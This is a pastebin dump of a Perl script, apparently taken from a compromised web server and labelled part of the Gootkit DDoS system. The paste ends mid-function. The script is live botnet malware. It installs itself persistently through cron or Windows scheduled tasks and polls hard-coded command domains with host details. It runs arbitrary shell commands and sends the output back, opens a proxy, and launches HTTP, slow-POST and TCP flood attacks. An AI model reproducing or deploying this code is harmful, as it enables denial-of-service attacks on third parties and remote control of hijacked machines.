Advertisement
Guest User

Untitled

a guest
Mar 2nd, 2012
179
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 79.34 KB | None | 0 0
  1. ]# cat /var/www/vhosts/britmcdaniel.com/cgi-bin/xeromenia.pl
  2. #!/usr/bin/perl
  3.  
  4. #part of the Gootkit ddos system
  5. use Fcntl qw(:flock :DEFAULT);
  6.  
  7. use Socket;
  8. use IO::Socket;
  9. use IO::Select;
  10.  
  11. use POSIX 'setsid';
  12. use Cwd 'abs_path';
  13.  
  14. print "Content-type: text/plain\n\n";
  15.  
  16. #---------------------------------------------------#
  17. #       CUSTOM parameters                                                               #
  18. #---------------------------------------------------#
  19. my $number_of_bots = 5;
  20. my @defaults = ("callebook.com:80", "cellularebook.com:80", "whitewithstand.com:80");
  21. my $pingTimeout = 1200;
  22. my $proxyPort = 5432;
  23. #---------------------------------------------------#
  24.  
  25.  
  26. my $lockfilename;
  27. my $serverfile;
  28. my $idfile;
  29. my $uafile;
  30.  
  31. my $kernel;
  32. my $version = "2";
  33. my $localip;
  34. my $botid;
  35. my $ua;
  36.  
  37. my $script_path = abs_path($0);
  38.  
  39. if ($^O eq "MSWin32"){
  40.         my $temp = `echo %temp%`;
  41.         chomp $temp;
  42.         $lockfilename = $temp."\\~PIF3E6.tmp";
  43.         $serverfile = $temp."\\~PIFSRV6.tmp";
  44.         $idfile = $temp."\\~PIFID45.tmp";
  45.         $uafile = $temp."\\~PIFUA11.tmp";
  46. }
  47. else {
  48.         $lockfilename = "/tmp/apachectrl.lock";
  49.         $serverfile = "/tmp/apachectrl.log";
  50.         $idfile = "/tmp/id";
  51.         $uafile = "/tmp/ua";
  52. }
  53.  
  54. exit if (!check_multiprocess());
  55.  
  56. if ($ARGV[0] eq "detach"){
  57.         detachFromConsole();
  58.         exit;
  59. }
  60.  
  61. if ($ARGV[0] eq "normal"){
  62.         print "normal work pid = $$...\n";
  63.         getKernel();
  64.         getBotId();
  65.         getLocalIp();
  66.         getUA();
  67.         print "version = ".$version."\nkernel = ".$kernel."\nos = ".$^O."\nlocalip = ".$localip."\nbotid = ".$botid."\nua = ".$ua."\n";
  68.  
  69.         my %tasks = ();
  70.         my @newTaskList;
  71.         my $currentServer;
  72.         my $currentPort;
  73.         my $child = undef;
  74.         my $child_pid;
  75.  
  76.         $SIG{'INT'} = 'IGNORE';
  77.         $SIG{'HUP'} = 'IGNORE';
  78.         #$SIG{'TERM'} = 'IGNORE';
  79.         #$SIG{'CHLD'} = 'IGNORE';
  80.         $SIG{'PS'} = 'IGNORE';
  81.  
  82.         #addServer ("who.is:7015");
  83.         #delServer("who.is:7015");
  84.         #getDomain ("pre", "suf.co.uk");
  85.         #proxy();
  86.  
  87.         while (1){
  88.                 Ping ("/ping");
  89.                 sleep $pingTimeout;
  90.         }
  91.         exit;
  92. }
  93. #if ($ARGV[0] eq "daemon")
  94. {
  95.         print "daemon...\n";
  96.         demonize();
  97.         exit;
  98. }
  99.  
  100.  
  101. sub REAPER {
  102.         while (waitpid(-1, WNOHANG) > 0){}
  103.     $SIG{CHLD} = \&REAPER;
  104. }
  105.  
  106. #------------------------------------------------------------------#
  107. sub demonize {
  108.  
  109.         if ($^O eq "MSWin32")
  110.         {
  111.                 my $schedDelete = "schtasks /delete /f /tn perl";
  112.                 my $schedCreate = "schtasks /create /tr \"".$^X." ".abs_path($0)." detach\" /tn perl /sc MINUTE /mo 1";
  113.                 print $schedDelete."\n";
  114.                 print  $schedCreate."\n";
  115.                 `$schedDelete`;
  116.                 `$schedCreate`;
  117.  
  118.  
  119.                 my $child_proc;
  120.                 print "detach...\n";
  121.                 require Win32::Process;
  122.                 Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_PROCESS, ".") || die "Could not spawn child: $!";
  123.                 $child_pid = $child_proc->GetProcessID();
  124.                 print "child_pid = $child_pid, pid = $$ \n";
  125.  
  126.                 sleep(1.0);
  127.                 POSIX::waitpid(-1, POSIX::WNOHANG()); # clean up any defunct child process
  128.                 print "exit pid=$$\n";
  129.                 exit;
  130.         }
  131.         else {
  132.                 $SIG{CHLD} = \&REAPER;
  133.                 if ( fork() ) {
  134.                         exit;
  135.                 }                
  136.                 setsid();
  137.                  
  138.                 chdir('/');
  139.                 open STDIN, "<", "/dev/null";
  140.                 open STDOUT, ">", "/dev/null";
  141.                 open STDERR, ">", "/dev/null";
  142.                 umask(077);
  143.                  
  144.                 $SIG{CHLD} = \&REAPER;
  145.                 if ( fork() ) {
  146.                         exit;
  147.                 }
  148.                 `echo '* * * * * $^X $script_path detach >/dev/null 2>&1' > /tmp/cron.d; crontab /tmp/cron.d ; rm /tmp/cron.d`;
  149.                 print "$$ exec...\n";
  150.                 # Now go back to your regular business.
  151.                 exec "$^X $script_path normal";
  152.                 exit;
  153.         }
  154. }
  155. #------------------------------------------------------------------#
  156. sub detachFromConsole {
  157.         if ($^O eq "MSWin32")
  158.         {
  159.                 my $child_proc;
  160.                 print "detach...\n";
  161.                 require Win32::Process;
  162.                 Win32::Process::Create($child_proc, "$^X", "perl.exe ".abs_path($0)." normal", 0, DETACHED_PROCESS, ".") || die "Could not spawn child: $!";
  163.                 $child_pid = $child_proc->GetProcessID();
  164.                 print "child_pid = $child_pid, pid = $$ \n";
  165.         }
  166.         else {
  167.  
  168.                 $SIG{CHLD} = \&REAPER;
  169.                 if ( fork() ) {
  170.                         exit;
  171.                 }                
  172.                 setsid();
  173.                  
  174.                 chdir('/');
  175.                 open STDIN, "<", "/dev/null";
  176.                 open STDOUT, ">", "/dev/null";
  177.                 open STDERR, ">", "/dev/null";
  178.                 umask(077);
  179.                  
  180.                 $SIG{CHLD} = \&REAPER;
  181.                 if ( fork() ) {
  182.                         exit;
  183.                 }
  184.                 print "$$ exec...\n";
  185.                 # Now go back to your regular business.
  186.                 exec "$^X $script_path normal";
  187.                 exit;
  188.         }
  189. }
  190. #------------------------------------------------------------------#
  191. sub check_multiprocess {
  192.         for (my $i=0; $i<$number_of_bots; $i++){
  193.                 my $lockfile=$lockfilename.".".$i;
  194.                 if (-f $lockfile){
  195.                                 my $lock_pid = 0;
  196.                                 open(LOCK,"<$lockfile");
  197.                                 my $zombie_lock_flag = flock(LOCK,  LOCK_EX|LOCK_NB);
  198.                                 close (LOCK);
  199.                                 if ($zombie_lock_flag == 0){
  200.                                         next;
  201.                                 } else {
  202.                                         unlink("$lockfile");
  203.                                         redo;
  204.                                 }
  205.                 }else{
  206.                         sysopen(LOCK, $lockfile, O_CREAT|O_EXCL|O_WRONLY) or die 'cannot create lock file';
  207.                         print LOCK "$$\n";
  208.                         close(LOCK);
  209.                         open(GLOB_LOCK,"<$lockfile");
  210.                         flock(GLOB_LOCK,  LOCK_EX);
  211.                         return 1;
  212.                 }
  213.         }
  214.         return 0;
  215. }
  216. #------------------------------------------------------------------#
  217. sub proxy {
  218.         $SIG{CHLD} = \&REAPER;
  219.         $child = fork;
  220.         if ($child == 0)
  221.         {
  222.                 my $proxySocket;
  223.                 socket($proxySocket, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  224.                 setsockopt($proxySocket, SOL_SOCKET, SO_REUSEADDR, 1) or die "Can't set socket option to SO_REUSEADDR $!\n";
  225.                 bind ($proxySocket, sockaddr_in($proxyPort, INADDR_ANY)) or die "Can't bind to port $proxyPort! \n";
  226.                 listen($proxySocket, SOMAXCONN) or die "listen: $!";
  227.                 print "Server: started on port $proxyPort\n";
  228.  
  229.  
  230.                 my $activeSockets = 0;
  231.                 while (1) {
  232.                         my $clientSocket;
  233.                         my $clientAddr;
  234.  
  235.                         print "Server: waiting for connect...\n";
  236.  
  237.                         $clientAddr = accept($clientSocket, $proxySocket);
  238.                         $activeSockets ++;
  239.                         print "Server: new connect. activeSockets = $activeSockets\n";
  240.  
  241.                         my $targetHost = "";
  242.                         my $x;
  243.  
  244.                         my $recievedLine = "";
  245.                         my $dataToSend = "";
  246.                         do {
  247.                                 my $len = 1024;
  248.                                 my $result = recv ($clientSocket, $recievedLine, $len, 0);
  249.  
  250.                                 print "Server: recieved = ".$recievedLine."_\n";
  251.  
  252.                                 $recievedLine =~ s/\r\n/\^/g;
  253.                                 my @splitted = split(/\^/, $recievedLine);
  254.  
  255.                                 foreach $x (@splitted)
  256.                                 {
  257.                                         #print "s1 = $x\n";
  258.                                         if (($x =~ /^GET http\:\/\/(.*) (.*)/) || ($x =~ /^POST http\:\/\/(.*) (.*)/)){
  259.  
  260.                                                 print "Server: parts url = $1\n";
  261.                                                 my @parts = split(/\//, $1);
  262.  
  263.                                                 my $ending = $2;
  264.  
  265.                                                 if ($x =~ /^GET/){
  266.                                                         $x = "GET ";
  267.                                                 }
  268.                                                 else {
  269.                                                         $x = "POST ";
  270.                                                 }
  271.  
  272.                                                 $targetHost = $parts[0];
  273.                                                 for ($ind=1; $ind<@parts; $ind++){
  274.                                                         print "ind = $parts[$ind]\n";
  275.                                                         $x .= "/".$parts[$ind];
  276.                                                 }
  277.                                                 #$x .= "/"; #test it
  278.  
  279.                                                 if (@parts == 1) { $x .= "\/";}
  280.                                                 $x .= " ".$ending;
  281.                                         }
  282.                                         if ($x =~ /^Proxy/){
  283.                                                 if ($x =~ s/^Proxy-Connection/Connection/g){
  284.                                                         print "s2 = $x\n";
  285.                                                         $x = "Connection: close";
  286.                                                 }
  287.                                         }
  288.                                         #print "s2 = $x\n";
  289.                                         $dataToSend .= $x."\r\n";
  290.                                 }
  291.  
  292.                                 if ($len != length($recievedLine)){
  293.                                         #finish work with this client
  294.                                         if ($targetHost ne ""){
  295.                                                 print "Server: targetHost = $targetHost\n";
  296.                                                 print "Server: dataToSend = $dataToSend\n";
  297.  
  298.                                                 $selector = IO::Select->new();
  299.                                                 my $tempSocket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$targetHost, PeerPort=>80) or die "error creating tempSocket!";
  300.                                                 $tempSocket->autoflush(1);
  301.                                                 $selector->add($tempSocket);
  302.  
  303.                                                 print $tempSocket $dataToSend."\r\n";
  304.  
  305.                                                 my @ready;
  306.                                                 while (1){
  307.                                                         my @ready = $selector->can_read(0);
  308.                                                         if (not @ready){
  309.                                                                 print "Server: waiting for can_read.\n";
  310.                                                                 sleep 1;
  311.                                                                 next;
  312.                                                         }
  313.                                                         #next unless(@ready);
  314.                                                         my $fh;
  315.                                                         foreach $fh (@ready) {
  316.                                                                 print "Server: new fh.\n";
  317.                                                                 if ($tempSocket eq $fh) {
  318.                                                                         my $msg;
  319.                                                                         $fh->autoflush(1);
  320.                                                                         my $nread = sysread($fh, $msg, 1024);
  321.                                                                         print "nread = $nread\n";
  322.                                                                         if ($nread == 0) {
  323.                                                                                 $selector->remove($fh);
  324.                                                                                 $fh->close;
  325.                                                                                 #$tempSocket->close;
  326.                                                                                 print "Server: close fh and end reading.\n";
  327.                                                                                 goto endThisRead;
  328.                                                                         }
  329.                                                                         print "print to clientSocket\n";
  330.                                                                         #print "msg = $msg\n";
  331.  
  332.                                                                         $clientSocket->autoflush(1);
  333.  
  334.                                                                         #print $clientSocket $msg;
  335.                                                                         send ($clientSocket, $msg, 0);
  336.                                                                         print "print ok\n";
  337.                                                                 }
  338.                                                         }
  339.                                                 }
  340.                                                 endThisRead:
  341.                                                 #print "Server: close temp socket.\n";
  342.                                                 #close $tempSocket;
  343.                                         }
  344.                                         print "Server: close clientSocket.\n";
  345.                                         close $clientSocket;
  346.                                         $activeSockets --;
  347.                                         next;
  348.                                 }
  349.                         } while (1);
  350.                 }
  351.         }
  352.         else {
  353.                 print "proxy pid = $child\n";
  354.                 return $child;
  355.                 exit;
  356.         }
  357. }
  358.  
  359. sub setPingTime {
  360.         $pingTimeout = $_[0];
  361.         print "set pingTimeout = $pingTimeout\n";
  362. }
  363.  
  364. sub replaceSpaces {
  365.         my $x = $_[0];
  366.         $x =~ s/(\s+)/\%20/g;
  367.         return $x;
  368. }
  369.  
  370. sub killTask {
  371.         my $taskToKill = $_[0];
  372.         my $pid = $tasks{$taskToKill};
  373.  
  374.         print "killTask $taskToKill, pid = $pid\n";
  375.  
  376.         #kill 1, $pid;
  377.         kill 9, $pid;
  378.         delete $tasks{$taskToKill};
  379. }
  380.  
  381. sub startNewTask {
  382.         my $taskToStart = $_[0];
  383.  
  384.         print "startNewTask $taskToStart\n";
  385.  
  386.         my ($missionId, $missionType, $rest) = split /\|/, $taskToStart;
  387.  
  388.         if ($missionType eq 'get'){
  389.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  390.                         #print "id = $1| type = $2| host = $3| port = $4| path = $5| sleep = $6| duration = $7| pingtime = $8\n";
  391.                         $tasks{$taskToStart} = attackHttpGet($3, $4, $5, $6, $7);
  392.                         setPingTime($8);
  393.                 } else {
  394.                         print "malformed GET task\n";
  395.                         return;
  396.                 }
  397.         }elsif ($missionType eq 'post'){
  398.                 print "http post\n";
  399.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  400.                         #print "id = $1| type = $2| host = $3| port = $4| path = $5| sleep = $6| content = $7 | duration = $8| pingtime = $9\n";
  401.                         $tasks{$taskToStart} = attackHttpPost($3, $4, $5, $6, $7, $8);
  402.                         setPingTime($9);
  403.                 } else {
  404.                         print "malformed POST task\n";
  405.                         return;
  406.                 }
  407.         }elsif ($missionType eq 'slowpost'){
  408.                 print "http slow post\n";               # TODO
  409.  
  410.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {  #id3|slowpost|ya3.ru|3128|/index.html|20|1024|30|PING_TIME',
  411.                         print "id = $1| type = $2| host = $3| port = $4 | path = $5 | sleep = $6 | maxbodylen = $7| duration = $8| pingtime = $9\n";
  412.                         $tasks{$taskToStart} = attackSlowPost($3, $4, $5, $6, $7, $8);
  413.                         print "pid = $tasks{$taskToStart}\n";
  414.                         setPingTime($9);
  415.                 } else {
  416.                         print "malformed SLOW task\n";
  417.                         return;
  418.                 }
  419.  
  420.         }elsif ($missionType eq 'udpflood'){
  421.                 print "udpflood\n";
  422.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  423.                         #print "id = $1| type = $2| host = $3| port = $4| packetsize = $5 | duration = $6| pingtime = $7\n";
  424.  
  425.                         $tasks{$taskToStart} = attackUdpFlood($3, $4, $5, $6);
  426.                         print "id = $1| type = $2| host = $3| port = $4 | packetsize = $5 | duration = $6| pingtime = $7, pid = $tasks{$taskToStart}\n";
  427.                         setPingTime($7);
  428.                 } else {
  429.                         print "malformed UDP task\n";
  430.                         return;
  431.                 }
  432.  
  433.         }elsif ($missionType eq 'tcpflood'){
  434.                 print "tcpflood\n";
  435.  
  436.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  437.                         #print "id = $1| type = $2| host = $3| port = $4 | duration = $5| pingtime = $6\n";
  438.                         $tasks{$taskToStart} = attackTcpFlood($3, $4, $5);
  439.                         setPingTime($6);
  440.                 } else {
  441.                         print "malformed TCPFLOOD task\n";
  442.                         return;
  443.                 }
  444.         }elsif ($missionType eq 'httpflood'){
  445.                 print "httpflood from irc\n";
  446.  
  447.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  448.                         #print "id = $1| type = $2| host = $3| duration = $4| pingtime = $5\n";
  449.                         $tasks{$taskToStart} = attackHttpFlood($3, $4);
  450.                         setPingTime($5);
  451.                 } else {
  452.                         print "malformed HTTPFLOOD task\n";
  453.                         return;
  454.                 }
  455.         }elsif ($missionType eq 'troll'){
  456.                 print "troll\n";
  457.  
  458.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  459.                         #print "id = $1| type = $2| host = $3| port = $4 | connects = $5 | sleep = $6 | duration = $7| pingtime = $8\n";
  460.                         $tasks{$taskToStart} = attackTroll($3, $4, $5, $6, $7);         #plus duration
  461.                         setPingTime($8);
  462.                 } else {
  463.                         print "malformed TROLL task\n";
  464.                         return;
  465.                 }
  466.  
  467.         }elsif ($missionType eq 'tcp'){ # TCP атака. тоже что и тролл, но с посылкой мусора в порт после коннекта.
  468.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) {
  469.                         #print "id = $1| type = $2| host = $3| port = $4 | connects = $5 | maxbodylen = $6 | duration = $7| pingtime = $8\n";
  470.                         $tasks{$taskToStart} = attackTcpTroll($3, $4, $5, $6, $7);
  471.                         setPingTime($8);
  472.                 } else {
  473.                         print "malformed TCPTROLL task\n";
  474.                         return;
  475.                 }
  476.  
  477.         }elsif ($missionType eq 'remote'){
  478.                 #todo
  479.                 print "exec remote script\n";
  480.         }elsif ($missionType eq 'addserv'){
  481.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)/) {
  482.                         #print "id = $1| type = $2| server:port = $3| pingtime = $4\n";
  483.                         addServer($3);
  484.                         setPingTime($4);
  485.                 }
  486.         }elsif ($missionType eq 'delserv'){
  487.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)/) {
  488.                         #print "id = $1| type = $2| server:port = $3| pingtime = $4\n";
  489.                         delServer($3);
  490.                         setPingTime($4);
  491.                 }
  492.         }elsif ($missionType eq 'system'){
  493.                 print "system\n";
  494.                 if ($taskToStart =~ /(.*)\|(.*)\|(.*)\|(.*)\|(.*)/) { #'id6|system|uname -a|pathToSendResponce|PING_TIME',
  495.                         my $answer = `$3`;
  496.                         #print $answer;
  497.                         sendPostRequest ($currentServer, $currentPort, $4, $answer);
  498.                         setPingTime($5);
  499.                 }
  500.         }else {
  501.                 print "unknown\n";
  502.         }
  503. }
  504.  
  505. sub removeZombies {
  506.         if ($^O ne "MSWin32"){
  507.                 foreach my $line (keys %tasks) {
  508.                         my $pid = $tasks{$line};
  509.                         my $pscmd = "ps -p ".$pid." -o pid=";
  510.                         my $zombie = `$pscmd`;
  511.                         if ($zombie eq ""){
  512.                                 printf "delete zombie $pid\n";
  513.                                 delete $tasks{$line};
  514.                         }
  515.                 }
  516.         }
  517. }
  518.  
  519. sub manageTaskList{
  520.         my $found;
  521.  
  522.         removeZombies();
  523.         print "newTaskList = @newTaskList\n";
  524.  
  525.         foreach my $oldLine (keys %tasks){
  526.                 $found = 0;
  527.                 foreach my $newLine (@newTaskList) {
  528.                         if ($oldLine eq $newLine){ $found = 1; last; }
  529.                 }
  530.                 if (!$found) { killTask($oldLine); }
  531.         }
  532.  
  533.         foreach my $newLine (@newTaskList){
  534.                 #print "newLine = $newLine\n";
  535.                 $found = 0;
  536.                 foreach my $oldLine (keys %tasks) {
  537.                         if ($oldLine eq $newLine){ $found = 1; last; }
  538.                 }
  539.                 if (!$found) {
  540.                         startNewTask($newLine);
  541.                 }
  542.         }
  543. }
  544.  
  545. sub connectToServer {
  546.         my $host = $_[0];
  547.         my $port = $_[1];
  548.         my $path = $_[2];
  549.  
  550.         print ("ConnectTo $host, $port.\n");
  551.  
  552.         socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or return -1;
  553.         $iaddr = inet_aton($host);
  554.         if (defined $iaddr){
  555.                 $paddr = sockaddr_in($port, $iaddr);
  556.                 connect(SOCK, $paddr) or return -1;
  557.         }
  558.         else {
  559.                 return -1;
  560.         }
  561.  
  562.         print ("Connected to server.\n");
  563.  
  564.         my $uptime = replaceSpaces(getUptime());
  565.         my $linuxKernel = replaceSpaces($kernel);
  566.  
  567.         $path .= "?version=$version&kernel=$linuxKernel&os=".$^O."&ip=$localip&id=$botid&up=".$uptime;
  568.         print "path = $path\n";
  569.  
  570.         my $request = "GET ".$path." HTTP/1.0\nHost: ".$host."\n\n";
  571.         send (SOCK, $request, 0);
  572.         @response = <SOCK>;
  573.         my $headerEnd = 0;
  574.         @newTaskList = ();    # TODO: check memory leaks
  575.         foreach $line (@response){
  576.                 if ("\r\n" eq $line) {
  577.                         $headerEnd = 1;
  578.                         next;
  579.                 }
  580.                 if ($headerEnd){
  581.                         chomp $line;
  582.                         print "response = ".$line."\n";
  583.                         push(@newTaskList, $line);
  584.                 }
  585.         }
  586.         close(SOCK);
  587.  
  588.         $currentServer = $host;
  589.         $currentPort = $port;
  590.  
  591.         #test
  592.         #push(@newTaskList, "1|udpflood|www.fanpresent.ru|1000|30|20");
  593.  
  594.         manageTaskList();
  595.         return 0;
  596. }
  597.  
  598. sub Ping {
  599.         my $path = $_[0];
  600.  
  601.         foreach my $def (@defaults){
  602.                 if ($def =~/^(.*)\:(.*)/){
  603.                         if (connectToServer($1, $2, $path) == 0){
  604.                                 return;
  605.                         }
  606.                 }
  607.         }
  608.  
  609.         if (open(FILE, $serverfile)){
  610.                 my @serverlist = <FILE>;
  611.                 close (FILE);
  612.                 foreach my $i (@serverlist){
  613.                         if ($i =~ /^(.*)\:(.*)/){
  614.                                 if (connectToServer($1, $2, $path) == 0){
  615.                                         return;
  616.                                 }
  617.                         }
  618.                 }
  619.         }
  620.  
  621.         print "No alive servers.\n";
  622.         return;
  623. }
  624.  
  625. #хттп ГЕТ атака (парамерты : хост, порт, путь до скрипта, время ожидания между запросами)
  626. sub sendGetRequest {
  627.         my $host = $_[0];
  628.         my $port = $_[1];
  629.         my $path = $_[2];
  630.         socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  631.         $iaddr = inet_aton($host);
  632.         $paddr = sockaddr_in($port, $iaddr);
  633.         connect(SOCK, $paddr);
  634.  
  635.         my $request = "GET ".$path." HTTP/1.0\nHost: ".$host."\n\n";
  636.         send (SOCK, $request, 0);
  637.         close(SOCK);
  638. }
  639.  
  640. #хост, порт, путь до скрипта, время ожидания между запросами, текстовый буффер для отсылки в теле ПОСТа
  641. sub sendPostRequest {
  642.         my $host = $_[0];
  643.         my $port = $_[1];
  644.         my $path = $_[2];
  645.         my $content = $_[3];
  646.  
  647.         socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  648.         $iaddr = inet_aton($host);
  649.         $paddr = sockaddr_in($port, $iaddr);
  650.         connect(SOCK, $paddr);
  651.  
  652.         $req = join("\r\n",  "POST ".$path." HTTP/1.1",
  653.                         "Host: ".$host,
  654.                         "User-Agent: ".$ua,
  655.                         "Content-type: application/x-www-form-urlencoded",
  656.                         "Content-length: ".length($content),
  657.                         "",
  658.                         $content);
  659.  
  660.         send (SOCK, $req."\n\n", 0);
  661.         close(SOCK);
  662. }
  663.  
  664. sub sendSlowPostRequest {
  665.         my $host = $_[0];
  666.         my $port = $_[1];
  667.         my $path = $_[2];
  668.         my $contentLen = $_[3];
  669.         my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890";
  670.  
  671.         print "start\n";
  672.  
  673.         socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  674.         $iaddr = inet_aton($host);
  675.         $paddr = sockaddr_in($port, $iaddr);
  676.         connect(SOCK, $paddr);
  677.  
  678.         #send header
  679.         send (SOCK, "POST ".$path." HTTP/1.1\r\n", 0);
  680.         send (SOCK, "Host: $host\r\n", 0);
  681.         send (SOCK, "User-Agent: $ua\r\n", 0);
  682.         send (SOCK, "Content-type: application/x-www-form-urlencoded\r\n", 0);
  683.         send (SOCK, "Content-length: $contentLen\r\n", 0);
  684.         send (SOCK, "\r\n", 0);
  685.  
  686.         #send body
  687.         for my $i (1..$contentLen){
  688.                 my $symbol = substr $chars, int rand length($chars), 1;
  689.                 print "$symbol ";
  690.                 send (SOCK, $symbol, 0);
  691.                 sleep 3;
  692.         }
  693.         send (SOCK, "\r\n", 0);
  694.         close(SOCK);
  695.         print "end\n";
  696. }
  697.  
  698. # HTTP GET (парамерты : хост, порт, путь до скрипта, время ожидания между запросами)
  699. sub attackHttpGet {
  700.         $SIG{CHLD} = \&REAPER;
  701.         $child = fork;
  702.         if ($child == 0){
  703.                 my $host = $_[0];
  704.                 my $port = $_[1];
  705.                 my $path = $_[2];
  706.                 my $sleep = $_[3];
  707.                 my $duration = $_[4];
  708.  
  709.                 alarm (0);
  710.                 my $itime = time;
  711.                 my ($cur_time);
  712.                 $cur_time = time - $itime;
  713.  
  714.                 print "attackHttpGet started!\n";
  715.  
  716.                 while ($duration > $cur_time){
  717.                         $cur_time = time - $itime;
  718.                         sendGetRequest ($host, $port, $path);
  719.                         sleep $sleep;
  720.                 }
  721.                 exit;
  722.         }
  723.         else {
  724.                 return $child;
  725.         }
  726. }
  727.  
  728. # ПОСТ атака (парамерты : хост, порт, путь до скрипта, время ожидания между запросами, текстовый буффер для отсылки в теле ПОСТа)
  729. sub attackHttpPost {
  730.         $SIG{CHLD} = \&REAPER;
  731.         $child = fork;
  732.         if ($child == 0){
  733.                 my $host = $_[0];
  734.                 my $port = $_[1];
  735.                 my $path = $_[2];
  736.                 my $sleep = $_[3];
  737.                 my $content = $_[4];
  738.                 my $duration = $_[5];
  739.  
  740.                 alarm (0);
  741.                 my $itime = time;
  742.                 my ($cur_time);
  743.                 $cur_time = time - $itime;
  744.  
  745.                 print "attackHttpPost started!\n";
  746.  
  747.                 while ($duration > $cur_time){
  748.                         $cur_time = time - $itime;
  749.                         sendPostRequest ($host, $port, $path, $content);
  750.                         sleep $sleep;
  751.                 }
  752.                 exit;
  753.         }
  754.         else {
  755.                 return $child;
  756.         }
  757. }
  758.  
  759. #id3|slowpost|ya3.ru|3128|/index.html|20|1024|30|PING_TIME',
  760. #print "id = $1| type = $2| host = $3| port = $4 | path = $5 | sleep = $6 | maxbodylen = $7| duration = $8| pingtime = $9\n";
  761. sub attackSlowPost {
  762.         $child = fork;
  763.         if ($child == 0){
  764.                 my $host = $_[0];
  765.                 my $port = $_[1];
  766.                 my $path = $_[2];
  767.                 my $sleep = $_[3];
  768.                 my $maxLen = $_[4];
  769.                 my $duration = $_[5];
  770.  
  771.                 alarm (0);
  772.                 my $itime = time;
  773.                 my ($cur_time);
  774.                 $cur_time = time - $itime;
  775.  
  776.                 print "attackSlowPost started!\n";
  777.  
  778.                 while ($duration > $cur_time){
  779.                         $cur_time = time - $itime;
  780.  
  781.                         my $contentLen = int ($maxLen / 3 + rand $maxLen);
  782.                         sendSlowPostRequest ($host, $port, $path, $contentLen);
  783.                         print "sleep $sleep\n";
  784.                         sleep $sleep;
  785.                 }
  786.                 exit;
  787.         }
  788.         else {
  789.                 return $child;
  790.         }
  791. }
  792.  
  793. # TROLL атака (парамерты : хост, порт, кол-во коннектов на 1 поток, слип). если порт 0, то порт рандом.
  794. sub attackTroll {
  795.         $SIG{CHLD} = \&REAPER;
  796.         $child = fork;
  797.         if ($child == 0){
  798.                 my $host = $_[0];
  799.                 my $port = $_[1];
  800.                 my $connects = $_[2];
  801.                 my $sleep = $_[3];
  802.                 my $duration = $_[4];
  803.  
  804.                 if ($port eq '0'){      # todo
  805.                         $port = int rand (65535);
  806.                 }
  807.  
  808.                 my $iaddr = inet_aton($host);
  809.                 my $paddr = sockaddr_in($port, $iaddr);
  810.                 my @sockPool;
  811.  
  812.                 alarm (0);
  813.                 my $itime = time;
  814.                 my ($cur_time);
  815.                 $cur_time = time - $itime;
  816.  
  817.                 print "attackTroll started!\n";
  818.  
  819.                 while ($duration > $cur_time){
  820.                         $cur_time = time - $itime;
  821.                         for my $i (0..$connects){
  822.                                 if (defined $sockPool[$i]) { print "close $i socket\n"; close($sockPool[$i]); delete $sockPool[$i]; }
  823.                                 socket($sockPool[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  824.                                 connect($sockPool[$i], $paddr);
  825.                         }
  826.                         sleep $sleep;
  827.                         #`usleep $sleep`;
  828.                 }
  829.         }else {
  830.                 return $child;
  831.         }
  832. }
  833.  
  834. # TCP атака. тоже что и тролл, но с посылкой мусора в порт после коннекта. доп.параметр : максимальный размер мусорного реквеста.
  835. sub attackTcpTroll {
  836.         $SIG{CHLD} = \&REAPER;
  837.         $child = fork;
  838.         if ($child == 0){
  839.                 my $host = $_[0];
  840.                 my $port = $_[1];
  841.                 my $connects = $_[2];
  842.                 my $maxLen = $_[3];
  843.                 my $duration = $_[4];
  844.  
  845.                 if ($port eq '0'){      # todo
  846.                         $port = int rand (65535);
  847.                 }
  848.  
  849.                 my $iaddr = inet_aton($host);
  850.                 my $paddr = sockaddr_in($port, $iaddr);
  851.                 my @sockPool;
  852.  
  853.                 alarm (0);
  854.                 my $itime = time;
  855.                 my ($cur_time);
  856.                 $cur_time = time - $itime;
  857.  
  858.                 print "attackTcpTroll started!\n";
  859.  
  860.                 while ($duration > $cur_time){
  861.                         $cur_time = time - $itime;
  862.                         for my $i (0..$connects){
  863.  
  864.                                 $contentLen = int ($maxLen / 3 + rand $maxLen);
  865.                                 my $garbage = genGarbage($contentLen);
  866.                                 #print "contentLen = $contentLen, garbage = $garbage\n";
  867.  
  868.                                 if (defined $sockPool[$i]) { close($sockPool[$i]); delete $sockPool[$i]; }
  869.                                 socket($sockPool[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  870.                                 connect($sockPool[$i], $paddr);
  871.                                 send ($sockPool[$i], $garbage, 0);
  872.                         }
  873.                 }
  874.                 exit;
  875.         }else {
  876.                 return $child;
  877.         }
  878. }
  879.  
  880.  
  881. # HTTP from IRC (парамерты : хост, длительность)
  882. sub attackHttpFlood {
  883.         $SIG{CHLD} = \&REAPER;
  884.         $child = fork;
  885.         if ($child == 0){
  886.                 my $host = $_[0];
